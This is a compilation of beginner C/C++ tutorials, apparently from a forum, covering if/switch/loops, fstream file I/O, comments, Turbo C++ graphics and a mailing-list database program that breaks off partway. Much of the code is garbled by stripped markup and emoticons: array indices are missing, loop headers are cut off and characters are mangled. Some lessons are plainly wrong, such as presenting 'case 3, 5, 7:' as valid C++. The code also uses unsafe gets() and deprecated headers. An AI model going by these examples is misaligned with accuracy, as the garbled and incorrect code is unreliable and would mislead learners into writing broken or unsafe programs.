List of Topics/Techniques Important to C++

ADDITIONAL NOTE_tutorial

ADDITIONAL NOTE

All C++ commands and keywords like int, cout and return must be typed using lowercase letters. If you use uppercase letters, the C++ compiler will not compile the program. You will have to correct the error first. wink.gif

C++ STATEMENTS_tutorial

C++ STATEMENTS

Finally, the statement sum=x+y; computes the sum of x and y and stores it in a variable sum. This is an assignment statement. Note that an executable statement in C++ must be followed by a semicolon (wink.gif.

C++ TUTORIAL002


Lesson 2: Loops And Conditions


Quote
We are going to learn that programs run in one big loop. Every program begins in a loop, and branches off to smaller loops, and smaller, etc. We will begin studying what kind of loops C++ support, practice when and when not to use certain types of loops, and find common mistakes. All that great boolean algebra we learned will yet appear again as we learn how to control our loops!

C++ supports these types of branching mechanisms:
if
if..else
if..else..if
switch..case..default

C++ supports these types of loops:
for
while
do..while

You can make decisions using these special operators:
Less-than <
Greater-than >
Less-than or equal to <=
Greater-than or equal to >=
Equal to ==
Not equal to !=

We will use these operators in making decisions to what the program should do next. These set of operators are called "Rational and Equality Operators" and compare the value on the left to the value on the right. These evaluate to a bool value which is true or false.

Example 3.1.1
bool equal = (5 < 3);

the variable equal gets assigned the value false because 5 is defined to be greater than 3 by our math system.


Section 3.2

The most simplest form of control loop is the if keyword. The syntax for this keyword is as follows:

if ( expression )
statement1
else
statement2

The if keyword executes statement1 if expression is true (nonzero); if else is present and expression is false (zero), it executes statement2. After executing statement1 or statement2, control passes to the next statement.

Example 3.2.1
if ( i > 0 )
x = y / i;
else
x = 0;

In this example, the statement x = y / i; is executed if i is greater than 0. If i is less than or equal to 0, x is assigned the value of 0. Note that the statement forming the if clause does not end with a semicolon. Note that again so you don't forget.

Let's look at a more complex example where we want to do more than one statement depending on how if the if clause evaluates.

Example 3.2.2
if ( i >= 5 )
{
x = 4 * i;
i++;
}
else
i = 5;

In this example, the statements x= 4 * i; and i++; are executed if i is greater than or equal to 5. If i is less than 5, i is assigned the value 5. Note that how we grouped our statement in braces { } to indicate two or more statements that need to be executed if the if
clause evaluates to be true (nonzero).

Now the else clause does not need to be included if you don't have any optional functionality you need to be performed. It is perfectly legal to do this:

Example 3.2.3
if ( i >= 5 )
{
x = 4 * i;
i++;
}

Example 3.2.4
But what if we wanted to evaluate many cases? We will have to use a nested if..else..if statement to accomplish this. Let's say we wanted to perform a separate action when i is 0, 1, 2, 3, 4, 5. This is how it would be coded:
if ( i == 0 )
x = 1;
else if ( i == 1 )
x = 2;
else if ( i == 2 )
x = 4;
else if ( i == 3 )
x = 8;
else if ( i == 4 )
x = 16;
else if ( i == 5 )
x = 32;

If i is 0, x is assigned 1, then control jumps to the end of our if clause.
If i is 1, x is assigned 2, then control jumps to the end of our if clause.
If i is 2, x is assigned 4, then control jumps to the end of our if clause.
If i is 3, x is assigned 8, then control jumps to the end of our if clause.
If i is 4, x is assigned 16, then control jumps to the end of our if clause.
If i is 5, x is assigned 32, then control jumps to the end of our if clause.

For you math gurus out there, can you see what is happening to x depending on the value of i in Example 3.2.4? If anyone noticed the simple pattern, you would see we are calculating the powers of 2, using i as our exponent. We will go back to this example many times and show you different methods of doing this.


Section 3.3

Now just imagine if we wanted to get the answer of 2 to some variable, which is i, in C++. C++ does not have an exponent operator, so we would have to have to have huge and ugly code like Example 4 in Section 3.2. Fortunately, we can loop to find answers to complex problems like the 2 to the i-th power. This brings us to our third new keyword in our lesson. The for keyword has the syntax as follows:

for ( init_expr; cond_expr; loop_expr )
statement

For even a simpler syntax of the for loop, remember this:

for ( step1; step2; step4 )
step3;

Wow! This is alot to digest, so lets break apart each expression and look at each one individually:

1. The first thing that happens when a for loop is encountered is the init_expr expression is evaluated. init_expr is most commonly used to initialize a variable which will control the loop.
2. Next cond_expr is evaluated. This expression is a conditional expression, which determines if the loop will continue going or not. If cond_expr evaluates to true (nonzero), the loop continues. If cond_expr is false (zero), control passes to the statement following the for loop.
3. statement is executed.
4. loop_exr is than evaluated, and goes back to step 2.

Notice that after loop_expr there is no semicolon!

Example 3.3.1
int x = 1;
for ( int i = 1; i <= 10; i++ )
x *= 2;

Let's go through the steps of this for loop:
1. First the i variable is created and initialized to 1.
2. Next i <= 10; is evaluated next. Since i is 1 and is less than 10, it evaluates true and we enter the loop and execute x *= 2;.
3. Next we increment i with our loop expression, i++;.
4. Next i <= 10; is evaluated next. Since i is 2 and is less than 10, it evaulates true and we enter the loop and execute x *= 2;.
5. Next we increment i with our loop expression, i++;.
6. We continue this process until our conditional expression, i <= 10; evaluates for false, and we exit the loop. This happens when i increments to 11.

Look at what we did! We just compacted that ugly if..else..if clauses into a for loop and we got the value of 2 to the 10th power, which is 1024! Now that surely beats the latter.

Example 3.3.2
But say we didn't wanted to calculate 2 to the 10th power, we wanted to calculate 2 to the nth power? We could go back and modify the example as follows:
int x = 1;
int n = 5;

for ( int i = 1; i <= n; i++ )
x *= 2;

Remember that when you do programming wi // th integers, the int data type can only hold 16-bits or 32-bits (or even 64-bits) depending on what bit compiler you use. So if we are using a 32-bit compiler, n being set to 19 would be safe because we have 32-bits (0 through 31) to work with. If we were working on a 16-bit compiler, 19 would overflow us and x would be complete junk to us.

Remember our "bug" term from the last lesson? This unexpected overflow is one type of bug which can make a program spit out junk, even though the logic and the program is perfectly fine. Watch out for sneaky things like this.


Section 3.4

Usually the for loop is used when we want to iterate through a list of numbers. In Example 2 of Section 3.3, we went from 1 to n. Sometimes there is nothing to iterate and just want to keep on looping while a condition is true. This brings us to the next kind of loop, called the while loop. The syntax for while loop is as follows:

while ( expression )
statement

The while keyword executes statement while expression is true (nonzero).

Example 3.4.1
bool p = false;
int x = 0;

while ( !p )
{
x++;
p = (x > 20);
}
x++;

This while loop does not terminate until p becomes true. When p is true, the expression !p evaluates to false, terminating the loop, then increments x one last time.

The variable p that controls this loop isn't very good at describing what it does. Welcome to the world of good variable names! You have became advanced enough to give good variable names. This has many advantages like not having to guess at what a variable does. This is a much better example:

Example 3.4.2
bool IsXGreaterThan20 = false;
int x = 0;

while ( !IsXGreaterThan20 )
{
x++;
IsXGreaterThan20 = (x > 20);
}
x++;

Going back to our "2 to the n-th power" example, we can use a while loop to do the same thing as the for loop did. (The for loop is more appropriate for this kind of situation, so you should stick with that). Just remember these two simple rules:
1. Use for when wanting to iterate a range of values.
2. Use while when you want to loop while a condition is true.

Example 3.4.3
int x = 1;
int n = 5;
int i = 1;

while ( i <= n )
{
x *= 2;
i++;
}



Section 3.5

Sometimes, it might not always be appropriate for a loop to test its condition at the beginning of the loop, like the while loop. If you want to enter the loop and then check at the end, we use the do..while loop. The syntax for the do..while loop is as follows:

do
statement
while ( expression );

This works just like the while loop, except the evaluation of the expression comes at the end. This kind of loop ensures the statement will be executed at least one time. Therefore, we do not need to go in-depth on this section.

Example 3.5.1
int y = 0;
int x = 10;

do
{
y = x + 5;
x--;
} while ( x > 0 );

The loop is entered. then y gets added x + 5, then x gets decremented. This loop continues running until x is no longer greater than 0. So y gets added 15, then 14, 13, 12, ... until 6.


Section 3.6

The last and final control statement in C++ is the switch..case..default trio. This is the syntax:

switch ( expression )
{
case constant_expression:
...
statement
...
default:
statement
}

We use this when we want a more readable form of an if statement. constant_expression must be an int value like 2, 3, -6, but not a variable or a floating point number. It cannot be a variable because as the word implies, it varies. It cannot be a floating point, because computers can't represent fractions perfectly, which would mess up the case.

A case is just like if the code read, if ( expression == case ), but much more readable. You can think of default: as being the else clause also.

Example 3.6.1
Watch how we convert the if clause to the switch clause:
if ( x == 2 )
i = 1;
else if ( (x == 3) || (x == 5) || (x == 7) )
i = 2;
else if ( (x == 4) || (x == 9) )
i = 3;
else
i = 4;

can be transformed into
switch ( x )
{
case 2:
i = 1;
break;
case 3, 5, 7:
i = 2;
break;
case 4, 9:
i = 3;
break;
default:
i = 4;
}

Now isn't that much easier to understand? Notice the break; statement. This "breaks" us out of the switch clause and we continue execution outside of it. If we did not have break;, the next statement would keep on executing until it hits the ending right brace }.

Example 3.6.2
Here is an example of the problem stated above:
switch ( x )
{
case 2:
i = 1;
case 3, 5, 7:
i = 2;
default:
i = 4;
}

Oh no! if x is 2, then it will assign i to 1, then 2, then 4! We don't want this, so we must put our break; statement in there to prevent this from happening. This is another peculiar bug which can creep into your code.

C++ TUTORIAL004


FILE STREAMING
[/color][/b][/glow]


Quote
INTRODUCTION
---------------
To a fledgeling c/c++ programmer ,the language might appear incredibly
criptic and idiomatic.The language allows coding styles with levels of
pointers,indierction and abstraction.The ground between the novice
stage and fluency stage can only be traversed through the experience of
writing C++ programs and discovering through practice the true power and
sensible philosophy behind C/C++'s features and even its ommisions.

The main point is that it is not suffcent to know just the syntax and
operations.Instead it is your perception of how the different features
and elements of the language interact with one another,with the
environment and with the design to accomplish pedestrian,but
essential tasks with the elagance and power (for which c/c++ is
famous) that counts.
What i have tried here is to cover the basic c++ functions and
features.This tutorial is not a theoritical blah blah,but a
practcal and simple illsustration c++'s features.
Also I have chosen a 16-bit compiler Turbo c++ ver 3.0 coz a typical
32-but compiler offers so many features that a begginner is likely
to feel lost.But this tutorial is not for absolute begginers ,a
knowledje about the following is expected
1)data types and programming constructs
2)basic idea of class
No need to know anything about pointers!.

First Things First......................
______________
First thing to do is to include the header file fstream.h
like this...#include<fstream.h>
2)next thing is to declare the stream object example
fstream skuddy;
3)third thing is to use open method to initialize it
skuddy.open("filename",filemode);
where filename stands for a valid file location & filemode for
the below
ios::in -open for input
ios::out-open for output
ios::binary-open in binary mode
ios::app-open for appending
ios::nocreate-do not create the file if it does not exist
ios::noreplace-ditto,do not replace(if the file exists)
ios::trunc-destroys data in existing file

phew! thats it. u can input & output as shown in the following
program

#include<fstream.h>
#include<conio.h>
void main()
{
int n;
fstream skuddy;
skuddy.open("inter.txt",ios::out);
cin>>n;
skuddy<<n;
skuddy.close();

}

now read inter.txt with a text editor u will find an integer value
similaly u can output as..


#include<fstream.h>
#include<conio.h>
void main()
{
int n;
char ch;
fstream skuddy;
skuddy.open("inter.txt",ios::in);
skuddy>>n;
cout<<n;
getch();
skuddy.close();
}

finally invoke the destructor as skuddy.close();*/
BASIC FUNTIONS
----------------
This section deals with the most common funtions used in file i/o.
eof()
-----
prototype:int eof();
This is funtion is primarily invoked when you need to test the
end of file.As this example illustrates
fstream skuddy
:
:
:
while(!skuddy.eof())
{
//do something
}



CHARACTER I/O
---------------
The prototypes of the funtions are as follows.Do not worry if
u do not understand the bluff,it will be clear as you proceed with
the examples
get(),put(),getline()
---------------------
istream & get(char ch);
istream & get(char *buf,int num,char delim='\n');
ostream & put(char ch);
istream & getline(char *buf,int num,char delim='\n');
The getline function is used for reading strings as in the following
code snippet
#include<fstream.h>
#include<conio.h>
#define max 80
void main()
{
char buff[max];
fstream skuddy;
skuddy.open("win.doc",ios::in);
while(!skuddy.eof())
{
skuddy.getline(buff,max);
cout<<buff<<endl;
}

getch();
skuddy.close();

}


put()&get() functions are used to output and input single character
at a time as shown in the following code snippets
#include<fstream.h>
#include<string.h>
void main()
{
char st[]="Time is a great teacher,
but unfourtunately it kills all its pupils";
fstream skuddy;
skuddy.open("file.txt",ios::out);
for(int j=0;j<strlen(st);j++)skuddy.put(st[j]);
}
// read file.txt with a text editor
#include<fstream.h>
void main()
{
char ch;
fstream skuddy;
skuddy.open("file.txt",ios::in);
while(!skuddy.eof())
{
skuddy.get(ch);
cout<<ch;
}
skuddy.close();
}
OBJECT I/O
-----------
Since c++ is an object oriented language it allows u wirte & read
objects to disks.The functions used are read and write.The snippets
given below will make it clear.


#include<fstream.h>
class emp
{
char name[40];
int id;
public:
void getdata()
{
cout<<"Enter name:";
cin>>name;
cout<<"\n Id :";
cin>>id;
}
};
void main()
{
emp e;
e.getdata();
fstream skuddy;
skuddy.open("emp.doc",ios::out);
skuddy.write((char*)&e,sizeof(e));//write the object to disk
skuddy.close();
}

#include<fstream.h>
#include<conio.h>
class emp
{
char name[40];
int id;
public:
void displaydata()
{
cout<<name;
cout<<"\n"<<id;
}
};
void main()
{
emp e;
fstream skuddy;
skuddy.open("emp.doc",ios::in);
skuddy.read((char*)&e,sizeof(e));//read from file and put it to e
e.displaydata();
skuddy.close();
getch();
}

Difference b/n text and binary files
------------------------------------
Text files treat all the data u enter as text.For eg it treats even
space,line feed and even numbers as text.As a result more space is
taken up,but it would as render the file more readable.

Binary files treat the data as a sequence of bytes.This method is used
by put(),get(),read(),write().As a consequence if u read the files
wriien using put() etc what u get is a heap of gibberish!.
File Pointers
-------------
Here the term ' pointer' has a different meaning,basically a file is associated with
2 pointers namely the1)get pointer(current get position)2)put pointer(use ur
imagination!) meant for finer control of file i/o.The seekg() and tellg() functions
help you to work with the get pointer and the seekp() and tellp() for the put
pointer.I will demostrate use of the these functions using some examples
eg
infile.seekp(-30,ios::end);
will put pointer to 30 bytes before the end of the file
and
infile.seekp(10,ios::beg) will put pointer to 10 bytes from the beggining of the file.
tellp() returns the current position of the put pointer.Similarly we can set and
examine get pointer by means of seekg() and tellg().

Final Words
-----------
File I/O is a serious and extensive topic,what i have covered here is the bare
minimum.I havent even scratched the surface of file i/o.But if u a have gained
a solid understanding of what is given here it will help you a lot!.I believe
that since you have taken the pain to go through this document,you
are quite interested in c/c++ file i/o.Nevertheless I think that sooner or
later you will emerge as a powerfull C++ programmer!.Also feel free
to contact me,i ,m 18 yrs old-ask me all sorts of doubts.
Any errors and ommisions are due to my pigheadess ,which i will try to rectify if you
send it to s19@swissinfo.org Or a99@swissinfo.org.

It will help a lot if you try to work out the following assignments

Assignments
------------
1)a simple adress book manager
2)a simple file encription program
3)a simple 16 bit bmp & pcx reader
4)learn about windows programming and grasp the concept of serialization etc
For more advanced fellows-5)Try to figure out how a file system is implemented
--Oh Boy,i am getting more and more nerdy!
Still to come
-----------
1)file operations in c/c++
2)tutorial on pointers
3)on asm
4).....depends

comments_tutorial

COMMENTS

In the sample program, the first two lines enclosed between /* and */ is a comment. And so is the explanation placed every //.

Programmers often place comments, explanations or messages in their programs in order to help them and others read and understand the programs. In C++, comments can be placed anywhere in the program by using the pair of compound symbols /* and */ or by using the compound symbol //. The pair /* and */ is appropriate if the comment runs more than a line while // (which is easier to type) is appropriate if the comment takes a line or less. Thus, anything placed after // on the same line is treated as comment. For this reason, a comment placed after // is called an inline comment.

The computer normally reads each line of the program, starting with the first line and working its way down. However, comments in C++ are not executable; the computer simply ignores them.

DECLARATIONS_tutorial

DECLARATIONS

In our program, the first statement within the block int x, y, sum; is a declaration statement, It declares that three variables of type integer are going to be used in the program. The word int is a reserved word and is used to specify the data type of variables.

All variables used in a C++ program must be declared prior to their use. Variables are simply references to memory locations. In addition to declaring variables, we must also specify their types (whether integer, float or character). The variable type tells us what type of data a variable can hold.

Graphics _tutorial

Graphics
The [$]KULLF/\¢[E] is back here in this section Skull


wanna draw something using C/C++? well u can! just using the graphics.h

This is the interesting one, although doesn't work if ur using Dev-C++. But I'm using my good ol' Borland Turbo C++.

For those noobs and experts here in C/C++ (who are not familiar with graphics), lets draw a simple line.

declare the following header files: stdio, conio, process and of course... graphics! Devil


Code:
#include <stdio.h>
#include <conio.h>
#include <process.h>
#include <graphics.h>

Then, the program must load graphics drivers and initialize the graphics system which are required to run smoothly.

here's the code...


Code:
/*request auto detection*/

int gd = DETECT, gm, errorcode;
initgraph(&gd,&gm,"C:\\tc\\bgi");


/*read result of initialization*/

errorcode = graphresult();

and then

Code:
if (errorcode != grOk) {
printf("Graphics error: %s\n",grapherrormsg(errorcode));
printf("Press any key to exit");
getch();
exit(1);
}

This code executes if doesn't load its requirements.

Well, lets draw a line using the line() function.

Code:
line(30,30,100,100);


where...

Quote
line(startX, startY, finishX, finishY)

or the first two parameters are the coordinates of the starting point and the last two parameters are the coordinates of the end point.

don't forget to add getch() function or you won't see its execution, u know that?

and finally, add closegraph() function to release all the resources occupied by the graphics system like memory, fonts, drivers etc... This function shuts down the graphics mode and returns to the position it was before the initgraph function was called.

BTW here's the entire code,

Code:
#include <stdio.h>
#include <conio.h>
#include <process.h>
#include <graphics.h>

void main(void) {

int gd = DETECT, gm, errorcode;
initgraph(&gd,&gm,"C:\\tc\\bgi");

errorcode = graphresult();

if (errorcode != grOk) {
printf("Graphics error: %s\n",grapherrormsg(errorcode));
printf("Press any key to stop");
getch();
exit(1);
}


line(30,30,100,100);

getch();
closegraph();
}

Open Source C-tutorial

Open Source C

simple database
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <conio.h>
//#include <console.h>

#define LIST 200 /* Max number of records in database */
#define TRUE 1
#define FALSE 0
#define NAME 13
#define STREET 22
#define CITY 12
#define LOCATION 3
#define PCODE 4
#define DEBUG FALSE

#define DEBUGFILE
"debugfile.txt"
#define PRINTER_PORT
"LPT1:"
struct namestr {
char gname[NAME + 1];
char surname[NAME + 1];
};

struct address {
unsigned short recordnum;
struct namestr PERSON;
char street[STREET + 1];
char city[CITY + 1];
char location[LOCATION + 1];
char pcode[PCODE + 1];
};


static int add(struct address MAIL[], int *count);
static void change(struct address MAIL[], int *count);
static void del(struct address MAIL[], int *count);
static void inputs(char *prompt, char *str, unsigned int max);
static void help();
static int load(struct address MAIL[], int *count, char *fname, int lastfile);
static char menu();
static void printlist(struct address MAIL[], int *count);
static void print_rec(int i, struct address MAIL[]);
static void save(struct address MAIL[], int *count, char *fname, int lastfile);

/*------------------------------------------------------------------------------
FUNCTION: main
PURPOSE: This function drives the entire program.
A menu is displayed, then a call to the appropriate function.
------------------------------------------------------------------------------*/
void main()
{
static struct address MAIL

; /* Array of mailing list records */

static int count = 0; /* Counter for number of records in list */
static char fname[20];
static int lastfile = FALSE;

printf("----- A MAILING LIST DATABASE PROGRAM -----\n");
printf("----- WRITTEN BY MATTHEW HANSEN -----");

for(;
{
printf("\n\nEnter the letter in brackets to activate your choice.");
printf("\n\n\t\tMenu\n");
switch( menu() ) /* Call to display menu, returns character */
{
case 'L':
printf("\n----- LOADING A FILE -----\n");
lastfile = load(MAIL, &count, fname, lastfile);
break;
case 'S':
printf("\n----- SAVING A RECORD -----\n");
save(MAIL, &count, fname, lastfile);
break;
case 'A':
printf("\n----- ADDING A NEW RECORD -----\n");
lastfile = add(MAIL, &count);
break;
case 'C':
printf("\n----- CHANGING A RECORD -----\n");
change(MAIL, &count);
break;
case 'D':
printf("\n----- DELETING A RECORD -----\n");
del(MAIL, &count);
break;
case 'P':
printf("\n----- PRINTING THE RECORDS -----\n");
printlist(MAIL, &count);
break;
case 'H':
//clrscr();
printf("\n----- HELP MENU -----\n");
help();
break;

case 'Q':
exit(0);
}
}
}
/*------------------------------------------------------------------------------
FUNCTION: add
PURPOSE: This function adds a record to the database.
First the record number is assigned,
then inputs is called passing the user prompt, destination, and
max string length.
------------------------------------------------------------------------------*/
static int add(struct address MAIL[], int *count)
{
if(*count > LIST) /* If too many records */
{
printf("\n\tList full! Save & Quit the program.");
}
else /* Else assign record to structure */
{
fflush(stdin);
MAIL[*count].recordnum = (unsigned short)(*count +1);
inputs("\n\tEnter given name: ", MAIL[*count].PERSON.gname, NAME);
inputs("\tEnter surname: ", MAIL[*count].PERSON.surname, NAME);
inputs("\tEnter street address: ", MAIL[*count].street, STREET);
inputs("\tEnter city: ", MAIL[*count].city, CITY);
inputs("\tEnter location: ", MAIL[*count].location, LOCATION);
inputs("\tEnter postal/zip code: ", MAIL[*count].pcode, PCODE);

(*count)++;
}
return TRUE;
}
/*------------------------------------------------------------------------------
FUNCTION: change
PURPOSE: This functions changes a database record.
The user is prompted for the record number to change.
Then a search for the record number is conducted.
If no match is found, the appropriate message is displayed.
If there is a match, then the record is displayed,
and the user is asked which element to change, or to return
to the main menu.
------------------------------------------------------------------------------*/
static void change(struct address MAIL[], int *count)
{
unsigned short chrec = 0;
char ch = ' ';
int i, quit = FALSE;
static int find = TRUE, change = FALSE;
char choice;

printf("Please enter the number of the record you wish to change: ");
scanf("%d", &chrec);
do
{
for(i = 0; i < *count; i++) /* Loop to search through all records */
{
if(MAIL.recordnum == chrec && quit != TRUE)/* If record number matches */
{
print_rec(i, MAIL); /* Display single record */
find = TRUE;
do
{ /* Ask with element user wants to change */
printf("\n\n\tWhich record do you wish to change?");
printf("\n\t(F)irst name\n\t(S)urname\n\t(A)ddress");
printf("\n\t©ity\n\t(L)ocation\n\t(P)code\n\t®eturn to menu");
printf("\n\n\tEnter your choice: ");
fflush(stdin);
gets(&choice);
} while( !strchr( "FSACLPR", toupper(choice) ) );

switch( toupper(choice) ) /* Input and assign change */
{
case 'F':
inputs("\tEnter given name: ", MAIL.PERSON.gname, NAME);
change = TRUE;
break;
case 'S':
inputs("\tEnter surname: ", MAIL.PERSON.surname, NAME);
change = TRUE;
break;
case 'A':
inputs("\tEnter street address: ", MAIL.street, STREET);
change = TRUE;
break;
case 'C':
inputs("\tEnter city: ", MAIL.city, CITY);
change = TRUE;
break;
case 'L':
inputs("\tEnter location: ", MAIL.location, LOCATION);
change = TRUE;
break;
case 'P':
inputs("\tEnter postal/zip code: ", MAIL.pcode, PCODE);
change = TRUE;
break;
case 'R':
quit = TRUE;
}
}
}
}while(quit != TRUE);
if(change == TRUE)
{
printf("\nThe change was successful...");
}
else
{
if(find == FALSE)
{
printf("\nRecord number not found.");
}
printf("\nNo changes were made...");
}
printf("\nPress enter to return to main menu...");
getch();
//clrscr();
fflush(stdin);
//scanf("%c", &ch);
}
/*------------------------------------------------------------------------------
FUNCTION: del
PURPOSE: This function flags a record for deletion,
and re-initialises the record numbers.
The user is asked which record to delete,
If there is a match, then confirmation is required,
If deletion is confirmed, record is flagged.
Appropriate messages are displayed after users options.
------------------------------------------------------------------------------*/
static void del(struct address MAIL[], int *count)
{
unsigned short chrec = 0;
int i, j, done = 0;
char answer;

printf("\n\nPlease enter the number of the record you wish to delete: ");
fflush(stdin);
scanf("%d", &chrec);
for(i = 0; i < *count, done == FALSE; i++)/* Loop to search through all records */
{
if(MAIL.recordnum == chrec) /* If record number matches */
{
print_rec(i, MAIL); /* Display single record */
do
{ /* Confirmation */
printf("\n\nYou have chosen to delete record number ");
printf("%d. Are you sure? Y or N: ", MAIL.recordnum);
fflush(stdin);
scanf("%c", &answer);
} while( !strchr( "YN", toupper(answer) ) );

if( toupper(answer) == 'Y') /* If answer is Y */
{
MAIL.recordnum = 0; /* Flag for deletion */

for(j = 0; j < *count; j++) /* Loop to include all records */
{
if(MAIL[j].recordnum != 0 && MAIL[j].recordnum > chrec)
{ /* Update record numbers */
MAIL[j].recordnum -= (unsigned short)1;
}
}
printf("\n\nThe record has been flagged for deletion...\nThe actual ");
printf("deletion will occur the next time the file is saved to disk");
done = TRUE;
}
else
{
printf("Okay, deletion has been cancelled, returning to menu...");
done = TRUE;
}
}
}
if(done == FALSE)
{
printf("record not found");
}
}

/*------------------------------------------------------------------------------
FUNCTION: help
PURPOSE: This function brings up a help menu for the user to explain
the features of this program.
------------------------------------------------------------------------------*/
static void help()
{
//char ch;
printf("Enter the letter in brackets to activate your choice.\n");
printf("What would you like help with?");

switch( menu() )
{
case 'L':
printf("\n----- LOADING A FILE -----\n");
printf("This option allows you to enter the name of a file which will then be");
printf("\nopened and read into memory.\n\n");
printf("You can use this option more than once in order to read several files into\n");
printf("the program, in which case the contents of each succeeding file are\n");
printf("added to the end of the same mailing list already in memory.\n");
break;
case 'S':
printf("\n----- SAVING A RECORD -----\n");
printf("This option allows you to write the contents if the mailing list from\n");
printf("memory to disk.\n\n");
printf("Any records that have been flagged for deletion will not be saved to disk.\n\n");
printf("When this option has been chosen, you will be asked if you wish to \n");
printf("overwrite the last filename that was opened. If you do not wish to do\n");
printf("this, you can enter the name of a new file which will then be the\n");
printf("destination of the updated mailing list.\n");
break;
case 'A':
printf("\n----- ADDING A NEW RECORD -----\n");
printf("This option allows you to enter new records which will be added to the\n");
printf("mailing list in memory.\n\n");
printf("You can enter new records either before or after file(s) have been loaded\n");
printf("into the mailing list.\n\n");
printf("You can create a new file by adding records with this option, then saving\n");
printf("them as a new file by using the SAVE FILE option, without having to load\n");
printf("any files.\n");
break;
case 'C':
printf("\n----- CHANGING A RECORD -----\n");
printf("Enter a record number, then you can change either name, address or both.\n\n");
printf("The record details for the requested record is displayed on the screen\n");
printf("and then you enter which type to change.\n\n");
printf("All change operations affect only the mailing list stored in memory - that\n");
printf("is, until the user saves the list to disk with the SAVE FILE option.\n");
break;
case 'D':
printf("\n----- DELETING A RECORD -----\n");
printf("After selecting this option, you can enter the record number you wish to\n");
printf("delete from the mailing list.\n\n");
printf("When the record number has been entered, the record details are\n");
printf("displayed on screen and you are requested for confirmation.\n");
printf("If you choose not not to delete, then you're returned to the main menu.\n");
printf("If you confirm deletion, the record number is set flagged for deletion.\n");
printf("The actual deletion occurs next time the file is saved to disk.\n");
break;
case 'P':
printf("\n----- PRINTING THE RECORDS -----\n");
printf("This option allows you to choice of sending the output to the screen, or\n");
printf("to the printer.\n");
break;
case 'H':
printf("\n----- THE HELP MENU -----\n");
printf("This option displays a help menu. When you enter a letter in brackets,\n");
printf("you can recieve info on the particular option.\n");
break;
case 'Q':
printf("\n----- QUITING THIS PROGRAM -----\n");
printf("This option allows you to exit this program.\n");
break;
}

fflush(stdin);
printf("\n\nPress enter to return to the main menu...");
getch();
//scanf("%c", &ch);
//clrscr();
}
/*------------------------------------------------------------------------------
FUNCTION: input
PURPOSE: This function displays a prompt, and validates the response
by length only.
Then string copys the valid response to the pointer passed.
------------------------------------------------------------------------------*/
static void inputs(char *prompt, char *str, unsigned int max)
{
char temp[80];

printf(prompt);
do
{
gets(temp);
if(strlen(temp) > max)
{
printf("\a\n\tToo long, please re-enter: ");
}
} while(strlen(temp) > max);

strcpy(str, temp);
}



part 2 of database


Code:
/*------------------------------------------------------------------------------
FUNCTION: load
PURPOSE: This function loads a database into memory.
The user is asked for a file name, which is validated.
If this is not the first file to be loaded,
Then a new record number is assigned to be added to the current
database in memory.
Otherwise, the records are copied as is.
The process is validated, and appropriate errors display a message.
------------------------------------------------------------------------------*/
static int load(struct address MAIL[], int *count, char *fileptr, int lastfile)
{
FILE *fp;
static struct address TEMP;
char ch = ' ';
printf("\tEnter the name of the input file: ");
scanf("%s", fileptr);

if( (fp = fopen(fileptr, "rb") ) == NULL ) /* Open the file to read from */
{
fprintf(stderr, "\nFile open error on <%s>", fileptr);
}
else
{
if(lastfile == TRUE) /* If there are already records */
{
fread(&TEMP, sizeof(struct address), 1, fp);
while(!ferror(fp) && ! feof(fp) && *count < LIST)
{
MAIL[*count] = TEMP; /* Assign new record number */
MAIL[*count].recordnum = (unsigned short)(*count +1);
(*count)++;

fread(&TEMP, sizeof(struct address), 1, fp);
}
}
else
{
/* Read records from database one at a time */
/* and increment number of records in list */
fread(&MAIL[*count], sizeof(struct address), 1, fp);
while(!ferror(fp) && ! feof(fp) && *count < LIST)
{
(*count)++;
fread(&MAIL[*count], sizeof(struct address), 1, fp);
}
}

if( ferror(fp) )
{
fprintf(stderr, "File read error has occurred.");
}
else if(*count >= LIST) /* not all records may fit */
{
fprintf(stderr, "\n\tList full! Quit the program.");
}
else
{
printf("\n\tFile <%s> loaded into memory.", fileptr);
lastfile = TRUE;
}

fclose(fp);
}
printf("\nPress enter to continue...");
getch();
//clrscr();
fflush(stdin);
//scanf("%c", &ch);
return lastfile;
}
/*------------------------------------------------------------------------------
FUNCTION: menu
PURPOSE: Display menu options and validate input choices
------------------------------------------------------------------------------*/
static char menu()
{
static char ch;

do
{
printf("\n\t(L)oad a file");
printf("\n\t(S)ave a file");
printf("\n\t(A)dd a record");
printf("\n\t©hange a record");
printf("\n\t(D)elete a record");
printf("\n\t(P)rint file");
printf("\n\t(H)elp");
printf("\n\t(Q)uit");

printf("\n\n\tEnter your choice: ");
fflush(stdin);
scanf("%c", &ch);
if( !strchr( "LSACDPHQ", toupper(ch) ) )
{
printf("\nYou have entered an invalid key, please try again...");
}
} while( !strchr( "LSACDPHQ", toupper(ch) ) );

return (char)toupper(ch);
}
/*------------------------------------------------------------------------------
FUNCTION: printlist
PURPOSE: Prints database to screen or printer.
------------------------------------------------------------------------------*/
static void printlist(struct address MAIL[], int *count)
{
FILE *handle;
int i = 0, j = 0, printer = 0, counter = 0;
//char ch;
do
{
printf("\n Do you want to send output to the printer? ");
printf("\nType 0 to print screen, 1 to print to printer: ");
scanf("%d", &printer);
fflush(stdin);
if(printer == TRUE)
{
/* Open channel to printer */
handle = fopen("PRINTER_PORT", "wt");
#if DEBUG
freopen(DEBUGFILE, "wt", handle); /* Redirect the standard printer */
#endif /* stream to a file */
}

if(printer == FALSE)
{
handle = stdout; /* Assign handle to screen */
}
} while( printer != 0 && printer != 1);

/* Print title */
fprintf(handle, "\nREC # NAME ADDRESS");
fprintf(handle, " CITY LOCATION P/CODE\n");
for(j = 0; j < 78; j++)
{
fprintf(handle, "%c", '-');
}

for(j = 0; j < *count; j++) /* Loop to include all records */
{

if(counter >= 20) /* If end of page */
{
if(handle == stdout) /* If printing on screen */
{
printf("\n----- Press any key to continue -----\n");
getch();
fflush(stdin);
}
else
{
fputc('\f', handle); /* Else formfeed at end of page */
}
/* Print title */
fprintf(handle, "\nREC # NAME ADDRESS");
fprintf(handle, " CITY LOCATION P/CODE\n");
for(i = 0; i < 78; i++)
{
fprintf(handle, "%c", '-');
}
counter = 0;
} /* Print body */
fprintf(handle, "\n%4d ", MAIL[j].recordnum);
fprintf(handle, "%-13s%-13s", MAIL[j].PERSON.gname,
MAIL[j].PERSON.surname);
fprintf(handle, "%-23s", MAIL[j].street);
fprintf(handle, "%-12s ", MAIL[j].city);
fprintf(handle, "%-4s", MAIL[j].location);
fprintf(handle, " %s", MAIL[j].pcode);
counter++;
}
if(printer == TRUE) /* If outputing to printer */
{
fputc('\f', handle); /* Form feed */
fclose(handle); /* Close stream to printer */
}
